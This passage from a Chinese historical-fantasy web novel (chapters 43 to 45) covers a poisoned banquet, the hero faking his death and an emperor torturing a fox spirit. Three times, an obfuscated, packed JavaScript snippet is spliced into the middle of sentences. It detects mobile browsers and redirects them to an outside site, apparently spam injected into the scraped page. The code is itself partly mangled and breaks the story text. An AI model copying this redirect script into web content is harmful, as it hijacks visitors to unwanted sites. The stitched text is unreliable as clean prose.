姚复沉默不语。应瑕似乎明白了——天梁终归不是自己手下的人,回头告诉韩玉笙此事,再让他带兵过来便不好了。须得赴宴前一日告诉他才好。 “无所谓——你带着陈重熙过去,他要杀你的话,便把陈重熙留下,自己偷偷借道跑到汝南。”应瑕虽然惊了一下这场鸿门宴时间莫名提前,却也没掀起多大波澜,只是淡定的说。 不过这一次,屈郢大约不会轻易放过姚复。 应摇光和应瑜也迟迟没有消息,怕是早被屈郢抓了,就等着要在这场宴会上做筹码。 “有趣,真有趣。”应瑕低低笑了一下,随后正色对姚复说:“先睡吧。” 姚复虽有疑虑,但也没多想,只好和衣睡下了。 应瑕一时睡不着,盯着头顶的房梁,勾唇一笑。 屈郢啊屈郢,自以为是执棋人,到底还是一枚棋子。 赴宴一事姚复谁也没通知,只把解斛珠紧急调回了定州,在义陵留守,应瑕在汝南等着接应,最终去赴宴的只有三个人,还有暗地里埋伏在姚复身边的三十五个死士。 姚复备的礼物并不是很常规的什么玉璧珠宝,陈重熙从武陵的医馆里找来了十几支未经处理的生犀角,看的姚复频频皱眉——犀牛在屈郢势力占据的江南水乡不是什么稀罕物,拿犀角送给屈郢无异于给羊送羊毛。 “他会收的。”陈重熙意味不明地笑了笑。 姚复最终什么也没说,将犀角装进了匣子里。 他们两个也算是熟人了,姚复也没招呼,恰恰赶在开宴的时候入了席。 “大王见谅,我来晚了。”姚复抄着手,微微笑着,在扫视了一圈,自觉坐到了南向的位置上。 屈郢本来就是刻意羞辱,想让姚复露出一丝恼怒或是羞愧的神情,自己揪着不放,让刀斧手出来直接砍了他。可他失策了,姚复本来就是乡绅子弟,本就不在乎这些礼节,更别说让他找到破绽。 陈重熙捧着盒子,朝西侍坐在姚复身侧,天梁负手站在一侧,冷冰冰地审视着场内的情景。 屈郢有什么计划都是桥虹策划的——漏洞百出的计划。 当然,出了什么变故桥虹也不知道,只能让他们自求多福。 屈郢坐在东向的位置上,这回倒是梳洗干净了,胡子也剃了,衣服也换成了新的,连头发都束起来了,左右没了先前那幅死了老婆的丧气样。 闻言他轻轻把杯子放在了桌上,开口道:“无妨。齐王,孤有意与你求和,不知为何要先一步攻打秦州?” 姚复眼中浮现出一丝疑惑,回首看了陈重熙一眼,后者却无什么表情变化,只微微抬着眼睛,若有所思地看着高位上的楚王。 “大王应当知道,这天下关于孤臣的谣言四起,至于攻打秦州完全是无稽之谈。”姚复站起身子,放低姿态行礼,“我们二国燕好,与天下黎民百姓都有利。大王切不可因小人谗言生了嫌隙。” 屈郢见姚复姿态如此低下,心里已经打消了两分疑虑——虽说这本来就只是个幌子,目的还是除掉姚复。 桥虹见屈郢动摇,连忙站起来搅浑水:“是啊大王,怎么能听信谗言呢!何况齐王方才在赣州吃了败仗,解将军也在大同回不来,哪里还有精力打秦州?” 解臻被堵在大同是屈郢干的,新涂打败仗则是姚复故意放出来的假消息。自从听了桥虹的意见,屈郢终于能等到了故人入梦来,自然对他的话十分信任。但他不是傻子,知道桥虹从哪来。 于是他举起酒杯,说道:“孤敬齐王一杯。孤没有舞剑的项庄,倒是有些好玩的给齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483326|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王看看。” 姚复端起酒杯,恍惚间好像看见一名红衣女子在宴上执着一柄短剑翩然起舞,一舞作罢,她为自己斟了一杯酒,递到了自己面前——姚复忽然回过神来,发觉从来没有什么红衣女子,酒也是陈重熙倒的。他自嘲地笑了笑,近来休息的太少,竟出现了幻觉。 又想起离家前那一杯掺了蒙汗药的茶水,姚复干脆学着姚老头,把满满一杯酒水尽数洒在了袖子里侧,随后将杯子放在桌上,笑着回应:“这姑苏酒果真名不虚传。不知楚王安排了什么‘表演’?” 屈郢见他把酒喝了下去,意味深长地笑了笑,叫人押来一个用于关押囚犯的大笼子,里面站着两个人,赫然是应摇光和应瑜。 姚复额上沁出一层冷汗,心中暗自庆幸让应瑕待在汝南了——若是瞧见自己的父兄给别人做乐子,指不定怎么伤心难过。当下……他绝不能表现出一丝怯懦,否则就会被屈郢抓住把柄,更不好救他们脱身。 陈重熙拍了拍姚复的手,示意他冷静,又抬眼看向桥虹,无声询问这是什么情况。桥虹幅度极为微小地摇摇头,示意自己不知道。这场宴会虽然是他策划的,但楚王一时兴起加什么内容他实在管不着。 “大王,不知这二人犯了什么罪?”姚复使劲掐着掌心的肉,强装作镇定地问楚王,“竟要被关在这里供人作乐,未免太折辱人。” 屈郢盯着他看了几眼,似乎没有发现什么异样,随后笑了笑,满脸戏谑地回答:“犯了通敌的大罪——齐王可知他们是什么人?” 姚复无意地盯着笑眯眯的应摇光和仿佛下一秒就要吃人的应瑜看了两眼,盯着应瑜要杀人的目光,硬着头皮回答:“孤臣见此二人面生,应当是从未见过。” 楚王微微挑起眉毛,说:“既然与齐王不相识,咱们便开始罢。” 他又拍拍手,叫上来两个兵士,给他们几支箭,让他们做演示。游戏很残酷,像投壶一样往笼子里掷去,见血记分。 两个兵士的准头并不好,手里的箭矢都丢完了,两人也没见负伤。 “拖下去,军法处置。”屈郢微微昂起下巴,对两个兵士的表现明显不满。 听说屈郢练兵依靠的是严酷的兵法,看样子这两人要遭老罪了。 紧接着屈郢就让人另拿了箭矢,亲自下来要做拿见鬼的游戏——他甚至还极为恶劣地先询问了姚复:“齐王要不要试试?” 姚复紧张的藏起浸湿的半边袖子,自作从容地笑着回应:“不了。孤臣乡绅之子,未曾玩过这样的游戏,也不曾学过射箭,只会平白出丑。” 屈郢有些遗憾地笑了笑,凑近说道:“夫人没来可真是可惜。” “大王在说什么呢。我夫人一介女流,更是不懂射箭。” 屈郢冷了脸,恨恨一拍桌子。他的动作姚复看的清清楚楚,一支暗箭从他袖间顺势滑落,借了很大力道,如果任其自然,不多时就会插到姚复的腰间。他微微抬眼,看见了屈郢眼神中的一抹冷笑。 天梁眼疾手快,那支箭转眼间便被他二指夹住悬在半空中,箭头甚至尚对着姚复的侧腰。天梁挑着箭,站直身子,神色如同平常一样,顺手丢掉了手里的箭,继续像木雕一样负手站立。 屈郢脸上的笑意收敛,愤愤起身。 43. 第43章 屈郢拿着箭走到舞台中央,扭头对着姚复,脸上满是癫狂的笑,他说道:“齐王,你且看好,孤是怎么杀掉你的岳父和内兄的。” 姚复抬起袖子,挡住眼睛,不愿去看那血腥的场面。 真不是他冷血无情,这个关头还是保住自己的命要紧。 屈郢拿起一支箭,作投掷状,又蓄力执出。从姿势来看,应当是用了十成力气,奔着置应瑜于死地去的。姚复不敢抬头去看,陈重熙和桥虹的心几乎都提到了嗓子眼——却见那箭头铮然撞到了笼子上,深深嵌进了木料。 应瑜看了看那支箭,又抬眼看了看屈郢,末了,露出嘲讽又似挑衅的微笑。 激将法对屈郢几乎是永不过时。看见应瑜脸上的笑,屈郢自觉受了侮辱,心中的怒火再压抑不住,一连取了几只箭抛过去,应瑜站着动也不动,任由箭矢朝自己飞过来,最终无一例外地嵌在笼子上、地板上。 他手里甚至还拿着一支箭把玩着。旁边的应摇光仍是和善地笑着,也是毫发未损。 “大王射术有待精湛。”应瑜垂下睫毛,丢了手中箭,出言嘲讽。 造不成伤害,但很侮辱人。屈郢虽说大字不识,但武艺高强,据说有百步穿杨之才,在军中演武也未尝败绩。 现在应瑜说这话,真是赤裸裸的侮辱。 屈郢欲再俯首拿箭,却见先前备好专门用来游戏的箭矢已经用尽了,只好招手再让人去拿,军士领了命便下去了,屈郢趁着他去拿箭的时间,可算冷静了下来,想起了这次宴会的最终目的——除掉姚复。 于是他坐回自己的位置上,静静等着自己下在酒里的东西发作。几人沉默不语地吃着饭菜,那杯酒里估计都下了东西,陈重熙先是喝了一点确定是什么毒物,便从袖子里摸了针出来,隔着衣服扎在姚复丰隆穴上,又小声示意他喝酒,不要让楚王起疑心。 屈郢和姚复两个人不住地互相试探,一杯接一杯往下喝酒,屈郢见毒药迟迟不发作,心下有些奇怪,但扫眼看见陈重熙,忽然就明白了——自己的计策已经被看穿了。于是他放下酒杯,忽然问:“齐王见着岳父与内兄,就没什么想法么?” 说这话时他还时不时看笼子里的人两眼。自从在阖闾城抓到这两个人,严刑拷打威逼利诱什么法子都用过了,可这两人不知怎么的,一点也没负伤,口中也得不出任何有用的情报。 现下只能拿他们试探姚复了。只可惜应瑕没跟着过来——一个女人总能添出更大的乱子。 “又不是我亲生父兄,我能有什么想法。”姚复捧着杯子,笑着回应,看不出一丝端倪。 姚复和应瑕不和、应瑕和父兄不和,这也不算什么秘密。再结合先前听到的各种传言,屈郢不由有些懊恼地一拍脑门,竟是算漏了这一环。早知如此,这事就与桥虹商量着来了。 陈重熙拔出针头,把银针揣回自己的袖子,姚复连忙站起来说道:“大王,失陪了。孤臣实在有些醉了,出来吹吹风。” 陈重熙刻意晃了晃酒壶,示意楚王里面已经没酒了—— 同时也在告诉屈郢,他现在无暇替姚复解毒。屈郢有些不耐,却又隐隐含着期待的放姚复出去了。他要跑了也无所谓,回汝南和义陵的路上都安插了刺客,姚复逃到半路不是被刺杀曝尸荒野,就是毒发命丧黄泉。 天梁跟着姚复马上出去了,卸下来时那辆马车上的两匹马,二人趁着夜色一路西行,走到官道上时果然遇了刺客。 这次还不是一个两个,足足有近百人埋伏在路边。 姚复一边举着箭格挡着飞来的箭矢,一边咬着牙问天梁:“你们能解决吗?” 太阴的声音在兵戈交击的响声中传来:“人太多了,解决不了——太白,想办法送他脱身!” 旋即天梁拉着他下了马,骨碌碌在地上滚了几圈,一头扎进了旁边半人高的野草丛。姚复勉强抬头去看,却听的“砰”一声巨响,一团巨大的白色烟雾瞬间笼罩了交击的人群。 紧接着一个女人从雾里飞了出来,天梁连忙拉着姚复,强找到受惊还在迷雾里乱闯的马儿,不知用了什么法子,让它们迅速安静了下来。两人赶紧上了马,出了那一团雾气——说来也奇怪,分明只有那一小段直路,出来时却要走几个岔路口。 方才出来那女子蹲在附近一棵老树上,见姚复从中完好地脱了身,立即扔了个人形物体进去,随后屈身而下,稳稳落在天梁的马背上。 “我是太白。”那女子坐在天梁背后,笑着朝姚复眨了眨眼。 姚复死死拉着马缰,根本没兴趣知道她是谁——受惊的马儿不好控制,现下颠簸地他几乎要吐出来。天梁根本只驯服了他自己那匹马! 天梁以为姚复急着回汝南,也勒着马缰往前追赶,压着步子与姚复保持同一水平,对背后的太白冷冰冰说道:“少贫嘴,当心掉下来。” 陈重熙继续坐在位置上,百无聊赖地看着桌上的菜,等着宴会结束,自己赶紧带着应瑕的父兄回汝南去——他俩失去了价值,屈郢也不会拿草芥的命要挟姚复,定会把他们放回去恶心应瑕。 酒都喝完了,屈郢还不让人再上一壶。 姚复走了约莫三刻,忽然来了斥候通报:“大王,齐王已经回汝南了!安插在路上的一百二十六人全军覆没!” 屈郢登时摔了杯子。随即狞笑着抬手,宴中埋伏的刀斧手顿时列阵,抽出刀剑,齐刷刷指着陈重熙的脖子,但凡他有哪怕一点失礼,利刃就能马上割开他的喉咙。 陈重熙方才生起的一点睡意顿时消散干净,正襟危坐把皮肉从利刃前挪开一寸,好有呼吸的空间。保证了自己不会在下一秒死掉,便该质问当事人是什么意思了。陈重熙像狐狸一样自然地笑起来,问道:“不知大王……这是何意?” 屈郢冷笑一声:“别跟我装傻充愣,他跑了是不是你跟他说了什么!” “大王多虑。臣能告诉他什么?”陈重熙把自己的衣袍拉回来,防止被某个兵士踩到,“这场鸿门宴,可是提前了三年……臣又能告诉他什么?” 三年时间能改变很多东西,饶是知道现世那场宴会发生了什么,也没人能保证屈郢这次会干什么。何况这次没有碧姬,没有那颗下在酒里又被齐王服下的蛊虫。 “你与碧姬师从一家,你会什么孤清清楚楚。”屈郢毫无风范地箕踞坐在自己的位置上——现在不必千百年前,衣装已经换了个样,只是箕踞而坐仍是羞辱人的罢了。 陈重熙含着笑垂下睫毛,看样子屈郢根本不关心姚复的死活,或者是他认为自己势在必得。现下大约是想质问他关于碧姬的事。 陈重熙谦卑恭顺地把手放在桌下装礼物的盒子上,眼睛也盯着那盒子,虽是笑着,口吻之中却并无温度:“碧姬被逐出师门又命丧于此,全是她咎由自取。得遇大王已经是她三生有幸。大王又何必问臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491979|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的责任?” “你敢说跟你一点关系也没有吗?”屈郢的声音本来就洪亮,带上了一丝愠怒,更是拔高了音调,震得陈重熙脑袋疼。 他深呼吸两次,随后不卑不亢地说:“臣不敢违背家法,逐出碧姬不过是为了大义——追随齐王,亦然。” “好,好。”屈郢悲怆地笑了,“那你便为你的大义随葬罢。” 眼见着面前的兵士要动手,陈重熙深深吸了一口气,闭上眼睛。预想中利剑划破肌肤的痛楚并未传来,桥虹忽然站起来劝阻:“且慢!大王,您这是何必!您又杀不了他,反而会损了自己的声誉——” 屈郢闻言有些颓然地放下手,转而又给自己斟了一杯酒,一饮而尽,略带艰涩地说道:“那你给我讲讲碧姬在阖闾城时的事儿吧。讲完了,孤就放你们走。” 桥虹看了陈重熙一眼,迟疑地坐下了。屈郢这一出戏打的他猝不及防。 碧姬短暂的一生连苗疆的史书都扒不出来,被这两个人当成秘密按在心里,屈郢是把这些陈芝麻烂谷子的事带进了棺材,如果不是碧姬种下那只虫子,怕是她的故事重见天日的最后机会也要被应瑕抹杀。 陈重熙看了桥虹一眼,随后伸手按住一侧的剑刃,把它压下去一点,免得刺到喉咙,随后才缓缓开口。 陈家在中原声势不显,却是江南一带威名赫赫的望族,但这家人显山不露水,鲜少在外人面前露面。因而外界传言很是纷杂,有人说他们修习长生之术,为了避免杀身之祸才秘而不发,也有人说他们只是普通的书香世家,世代传袭医术悬壶济世。 真真假假,假假真真,引来了不少慕名来访的人。苗疆孤女碧姬就是其中一员。陈家的家主,陈重熙的父亲,认为她极有天赋,便收到了门下做关门弟子。 可碧姬到底是苗疆人,她血脉里就潜伏着对巫术与蛊术好奇与热爱。这偏偏是陈家明令禁止的。碧姬早就偷偷学了不少巫蛊之术,东窗事发也是迟早的事,只是恰巧捅破这层窗户纸的是陈重熙罢了。 于是碧姬被逐出了师门,又遇到了屈郢。 ——这就是她的前半生。 除此之外,陈重熙也着重说了一些琐事,屈郢在席上听的入神,也不知在想些什么。桥虹攥着酒杯,坐立难安。 碧姬被逐出师门是咎由自取,也是命运使然;她命丧黄泉,却在死后第五年拉着仇敌一起坠入深渊,也是命运使然。 “我说完了。”陈重熙不知何时止住了话头,抬头看向屈郢。那双狐狸眼似乎掩去了所有的算计、神情,只剩下了死水一般的平静。 屈郢回过神来,让士兵们退下了。陈重熙抱起桌子底下的礼盒,献了上去,在屈郢面前掀开盖子。 十二只生犀角,整整齐齐排列在锦缎上。 “燃犀照梦,能与死者通。”陈重熙俯视着盒子里的犀角,“大王须得节制,温峤四十二岁就死了。” 屈郢眼中闪烁着惊喜,他轻轻抚着犀角,随意敷衍:“孤知道了。陈参谋管好自己的事,孤怎么样不用你管。” 陈重熙自顾自下了来,轻轻拍了拍那笼子,叹了口气,说道:“应国公,醒醒,我们该走了。” 已经睡着的应摇光没反应,应瑜也没理他,直接上前走了半步,徒手掰开了那木栏杆,木料的断裂声很大,终于吵醒了应摇光。 桥虹被嘴里的酒狠狠呛了一下,猛烈咳嗽起来。 44. 第44章 陈重熙带着应摇光和应瑜登了马车离开后,才另有斥候抬了什么东西进了屋子,似乎是个人。 陈重熙箍好帷幔,露出车窗,好看外面的景色。 姚复刚回到汝南,头一件事不是赶紧找应瑕去,反倒是在应瑕落脚的客栈门口吐了个昏天黑地,被老板娘用家乡话骂了好一会儿,最终还是天梁和太白兑出了全部身家——二两银子,才平息了事态,凶神恶煞的老板娘终于同意了姚复进门。 被应瑕接进去后姚复又昏昏沉沉难受了两天,直言再也不想骑马了。 因而也没在乎外面传来了什么风吹草动,军情一类全部递到了回汝南军营的陈重熙手里了。至于他递上来的情报,姚复看也看不进去,以至于过了几日,休息好了,姚复才知道自己在天下人口中已经死了。 还是应瑕告诉他的。 “你说真的?”姚复不可置信地问应瑕。 应瑕眼皮子也不抬一下:“真的,陈重熙说了好几次,你没看进去而已。” 姚复推开房间里的小窗子,伸头往外看,果真看见一片披麻戴孝,好像死的不是姚复,是皇帝一样。 “真死了啊?”姚复不可置信地再度发问,“这怎么办?齐国还有吗?” 应瑕走上前去,从后面狠狠拍了下姚复的脑袋:“我发了函书告知三军实情,让你大哥暂时顶了上去。军政财权都有司空谷管着,不会出事。至于咱们……” 她在姚复背后微微一笑:“将计就计。” 姚复完全没听,还扒在窗子上看底下的车水马龙熙熙攘攘。偶尔会有几声或是小民或是文人的哀叹传上来,无非是说些天妒英才时运不济的话出来。 姚复抬起头,打算回屋子里,却见面前一片如瀑的墨发,登时吓的连退两步,跌坐在地上。 那头发的主人往下挪了一些,脸蛋映在窗外,是太阴。 她倒悬着身子,仍是甜甜笑着:“齐王,如今您在外人眼中已然身死,更不会有刺客再来,我们便先行离去了。有缘再——” “等等——”姚复喊住太阴,“把天梁和太白留下。我迟早要活过来的,借他们有用。到时候再还给韩夫人便是。” 太阴思索了一下,笑着答:“可以。记得把人还回来哦。” 随后她的身体往上收去,消失不见了。 应瑕叹了口气,把姚复扶起来:“你又想到什么点子了?” 姚复笑了笑,说:“让陈重熙去传令,让全军披麻戴孝七日,假装我真死了。” 应瑕嘴角微微抽搐,拿了前些日子买来的守丧用的东西,穿在身上。又找来一只帷帽,长长的帷幔恰能挡住姚复的脸。走在街上要是有人认出齐王来,往后的计划都得泡汤。 “我们先回汉昌去,此地离长沙较远,没人知道我们在那儿。”应瑕从后面帮姚复带上斗笠,又理好后面的帷幔,上下看了两眼又摘了下来,嘱托道。 姚复老老实实把双手伸展,应瑕丢了他原先那套衣服,倒寻了套女装来让他穿。他身材与新涂大不相同,虽说长了不少肌肉,但本先到底是个公子哥,身材也就是中人身量,穿上女装带个帷幔也和应瑕差不多,甚至更不易察觉。 姚复下意识往前缩了一下——应瑕触到了他的后腰。他看着面前的墙壁,开口问道:“那咱们住哪啊?我们在汉昌没有府邸和军营啊——” 应瑕下手用力勒紧腰封,顺手把手里翠绿的外袍丢给姚复,说道:“蹲下,我给你理理头发。你就装成我远房表妹,一路到了汉昌,再暂时住在陈重熙那个医馆里充学徒。” 姚复蹲下身子,把头上束好的头发拆开,发冠随意丢在了地板上:“啊……那我得装成女人多长时间啊?” “只是在路上掩人耳目罢了。到了地方就让韩夫人给你化个妆,换个面容待在那儿就好。”应瑕有些恼火地把姚复刚剪短没多久的头发拢起来试图绾个符合年龄的发髻,都以失败告终,只好随便弄了个垂髻,草草拿簪子固定住。 姚复乐呵呵地笑了:“那就好。诶,那我们能出去玩了吗?打仗不用我管,军政不用我管,总不能还没法出去玩吧?” 应瑕蹙起眉头:“你要出去玩就正经装成女子,否则被人认出来就得满盘皆输。” 姚复撇撇嘴。 穿女装出去不丢人,就是这裙子啊发髻啊妆面啊束手束脚的,连衣服都束手束脚,更何况那些规束女子的条条框框。姚复总算是明白了为什么应瑕不爱梳头发,不爱点胭脂,也不爱严严整整地穿繁琐的裙装。 她也受了该受的规束,却有向往自由的灵魂。 四个人一路奔波劳累可算是回到了汉昌城——由于要隐藏身份,他们还不能走官道,全然是沿着商贩开的小路走,连吃食都是天梁和太白去找。这两人倒真像是门客侍卫了,保护齐王不说,还得做奴才的活。 陈重熙和韩玉筝走官道比他们回汉昌快的多,甚至是已经把回青堂重新翻修了一遍。 “你先跟着他学医术,我还有些事情,要马上回长安一趟。”应瑕拍拍身上的尘土,又摘下头发里的树叶子,拍了拍姚复的背。 姚复有些不满,还未出言发作,陈重熙便先不乐意了:“夫人不是说只要管着大王起居即可?怎的还要教大王学医术啊?” 应瑕瞪了他一眼,陈重熙噤了声,后撤了一步。她从太白手里接过一只木盒子,说道:“这是一味极为珍贵的药材,算作你的报酬。再者,你和小韩两个人做不好我要交代的事……总之这两个月把他给我教好。” “不是,什么事啊还要我学医?”姚复扭头要去抓回头就走的应瑕,无奈一脚踩在裙子上,险些摔在地上,被太白扶了一把才勉强站稳。 应瑕回头看了他一眼:“别管。” 然后就离开了。 “大王先去换衣服吧。”陈重熙上前一步扶住姚复,“夫人做事总有自己的道理,您还能不知道?” 姚复被强拉着进屋换了身男装,束好了头发,坐在柜台前不平地质问:“她最近行事越发奇怪了,你不觉得吗?” 韩玉筝把化妆用的东西拿了过来摆在桌上,闻言也只调着胭脂,并不说话。陈重熙只拉着他的手腕细细把脉,随后笑说:“余毒清的差不多了。夫人连父兄回了汝南也不去看一眼,您还指望她对您一个外人推心置腹?” 姚复闻言心中一惊,他以为应瑕早就去过了,只是他一直难受的无暇顾及这些事情未曾察觉罢了。如今细细想来……应瑕未曾去看过应摇光和应瑜,而应摇光他们也未曾来找过应瑜,反而在陈重熙递来的消息中,应摇光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14496747|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接去了长沙,只等新涂回来和应琼成婚,而应瑜去了长安,不知道要做什么去。 “我哪里能算外人!”姚复有些不服气,“我哪里能算……” 成婚五年,做过最过的事就是拥抱,确实算是外人。可他们的确没时间没精力更没立场去做那些男女之事,本来就不是三书六礼成的婚,也没有父母之命媒妁之言,怎么着也算不成正常夫妻。 陈重熙笑了笑:“如果您实在不想学,臣也能向夫人递些假消息。” 姚复咬了咬牙,狠下心来,一拍桌子:“学!怎么不学!我不是外人,自然要按着夫人的意思行事!” 长安。 朝堂上。 白胡子的兵部尚书颤巍巍抱着奏表,上前一步启奏:“陛下,日前齐王薨逝,齐国怕是无暇顾及西进之事了。而楚王近日颓然自弃,兵力又被齐、魏两方牵制,燕国也无暇西进,我们大梁朝廷应当……” “应当?”皇帝打断老臣的话,自顾自走下龙椅,面色中隐隐带着怒气,最终他停在那老臣面前的第二节台阶上,咬牙问道,“应当什么?养精蓄锐吗?” 老臣以为皇帝明白了自己的意思,却又有些畏惧——新帝登基四年,因为一句话杀掉的人不计其数,但不说话也不是好法子。横竖都是一死,自己活了七八十,这辈子也算活够了,只好硬着头皮回答:“是……” 皇帝收起笑容,冷眼走下台阶,略过了那老臣,环视了一圈,狠狠一跺脚,又笑了起来:“什么养精蓄锐,他们就是看不起朕!他们看不起朕,认为秦州无利可图,所以才会放着我们不管啊。他们看不起我啊!” 群臣面对皇帝时不时的癫狂已经习惯了,一个个都熟练的噤声。可皇帝不打算放过他们,他快步走到一个武将面前,正色询问:“你说是不是?你说啊?” 武将自知难逃一劫,只好开口:“……不是。” 皇帝一笑:“好,很好。” 随后他便收敛起笑容,冷冷说:“拖下去斩了。” 转身翻袖端庄的坐回龙椅上,似是别有用心又像是无心地问道:“你们说,他们为什么看不起我?” 满朝文武无人敢回应,他便自顾自地回答:“一定是因为涂山氏那个狐狸精……一定是,一定是!” “父皇活着时她就挑拨离间,杀了我母亲,父皇死了还要害我……”皇帝扶着额头念叨起来,“蛇蝎毒妇、蛇蝎毒妇!” “我看到了的……” 皇帝忽然一拍龙椅的扶手:“下朝!” 大臣们面面相觑,许多人迅速作鸟兽散,偶尔有几个忠臣略带犹豫地看了皇帝两眼,又被同僚迅速拉走了。 世上没人不惜命。 皇帝屏退左右,拿了自己新得的那把宝剑——据说是专用来诛妖的,上面细细的暗纹好似夺命的咒符,连剑柄都是桃木。 他旁若无人地闯进太妃的宫室。 自从先帝驾崩,这位貌若天仙的曾经的宠妃就日日躲在自己的宫室里烧纸钱,或是做些什么巫祝之事。先前就有好些人参她,要不是碍于先帝的谕旨,年轻的皇帝早就将她碎尸万段以解心头之恨了。 可笑他到今天才想明白——他是个疯子啊,管什么先帝的谕旨!他是皇帝啊,为什么在乎旁人的说法! 45. 第45章 涂山氏仍是自顾自烧着火盆,只是里头并无纸钱一类的东西,都是些每个月例行下发的锦缎,也不知是她不喜欢还是故意为之。 皇帝拎着剑站在她背后,冷冰冰问着:“娘娘在烧什么。” “为先帝烧些锦缎下去,好让绣娘裁些衣服,免得长安冷雨冻到他。”涂山氏又往火盆里添了些锦缎,头也不抬地答复。她总是这样,一副清高的样子,好像很爱先帝,当初却不去随葬。 “死人不会冷。”冷冽的长剑折射着火光,也映照着皇帝的脸,那张脸上露出一抹可怖的笑。 皇帝如愿的从涂山氏那双尾部高高挑起的魅惑的狐狸眼中读出来三分惊惧,除此之外竟是得偿所愿的满足与一丝隐秘的期待——他看不懂,但疯子不会对着老弱妇孺手软。 长剑利落地贯穿涂山氏的肩胛,把她牢牢钉在地上,桃木确实是镇妖的良物,剑刃上镂刻的符文也烫的她伤口生疼。 依着她的能力,根本不足以支撑人形,九条毛茸茸的尾巴霎时从裙摆下露了出来。 皇帝抽出长剑,笑了起来:“哈哈哈……我都看见了!我明明都看见了!他们都不信我!” 他笑的几乎直不起腰来,这几年来他随意拔除了所有害死皇后的帮凶,尽管彻底坐实了疯子的名声——事实上,他已经疯了。涂山氏,最后一个,唯一一个主犯,当然要亲手杀掉,凌迟处死才过瘾。 剑锋偏转,又狠狠刺向涂山氏,她下意识挣扎开,利刃贯穿了她的一条尾巴——也许这正是皇帝原本的用意。那条尾巴断裂开来,喷溅的血花在她的白裙上洇出一朵荼蘼,极致的痛苦逼迫她意志清醒着。 她跪在地上,伸手理理发髻,摸了摸那两只毛茸茸的耳朵,袖子凑近唇瓣,吐出一口鲜血,才对着皇帝说:“陛下,杀了我,就不要杀卿儿了。全当是、全当是替皇后还当年的人情……” 皇后有一年省亲,刚进了太行便遇了大雪,山路被死死封住,几乎她所有的亲信都冻死在那儿——因为不知为何出现在山里的涂山氏冒死把皇后救了出来。也正是因为这救命之恩,皇后接了她入宫,没想到反害了自己的命。 皇帝歪着头思索了一会儿,提着剑说道:“你取了她的命,这人情难道不是两清了?不过你放心……” 他低低笑起来,接着说:“我不会杀他,毕竟是血浓于水的兄弟……我会把他送回你来的地方。” 涂山氏的故里是化外之地,在这个世间鲜有人知道,而金陵城是唯一的入口。至于皇帝会把亓官卿送到哪去,可想而知——数九隆冬的太行山,涂山氏第一次出现的地方。她当初冒着雪救出皇后都要了半条命,何况是亓官卿一个手无缚鸡之力的孩子! 浓厚的悲怆挤压着喉咙,又或许是符文生了效果,使她几乎不能言语,只能无助地坐在地上,哀戚地等待命运终结。 皇帝打的什么算盘她不知道,三个月里,每隔一段时间她就会少一条尾巴,那些断尾被摆在精致的托盘里,等着给群臣过目。 窗外雪花压低寒梅,也许太行山也到了大雪封山的日子,皇帝却迟迟没送来亓官卿的死讯——他决定先取涂山氏的最后一条尾巴。 九尾狐,九条尾巴,也是九条命,九次生的机会。失去了最后一条尾巴,她也就到了泉下与爱人相会的时候。 不同于前几次断尾时无助的哭喊哀嚎,最后一次格外平静。 “剑光真冷啊。”涂山氏喟叹一声,终于支撑不住化回原形。皇帝的剑锋连着光斩下,落下的却只有半条带着血迹的蓬松白尾,那条应该完全没有行动能力的狐狸已经消失不见了。 皇帝捡起那半条断尾,蹙眉离开。果真是个妖怪。 应瑜小心翼翼地维持着涂山氏的生命体征,抱着她到了长安某处生意冷清的客栈。 自从新帝登基,宫里宫外都围满了重兵,应瑜不得不用一些超出常人的法子把他们全部引开才成。偏偏应瑕还和这副身体融合的浑然一体,一点忙也帮不上。可怜他和应瑕摸了三个月才寻出了不动声色把狐狸救出来的法子,竟还晚了半步。 “还活呢。”应瑜不知所措地掀开套在狐狸身上的外袍,递给应瑕看。 应瑕看见涂山氏的惨样,连着抽了好几口气,最终伸手又把那外袍给盖上了:“你先把她送到武陵去,死了就地埋了就成。最好别让她死了。” “怎么,你打算取内丹啊?还是缺件狐皮大衣?难道想送给你丈夫做药材练手?”应瑜并不急着离开,似笑非笑地看了自己的妹妹两眼。 他们穷凶极恶,出生的时候便已经注定了一世无情,应摇光和应琼能活着都该谢天谢地了。应瑜从未见过应瑕对什么如此上心——一个可有可无的所谓“朋友”,一个可有可无的男人,还有一个徘徊天地之间的游魂,他不明白有什么好在乎。 应瑕踢了他一脚:“去,少管。再不走就真死了!” 她不希望涂山氏再死一次。即便都是幻象,她还是希望能把她救活。 汉昌。 姚复说要学医,陈重熙是一点也不客气。 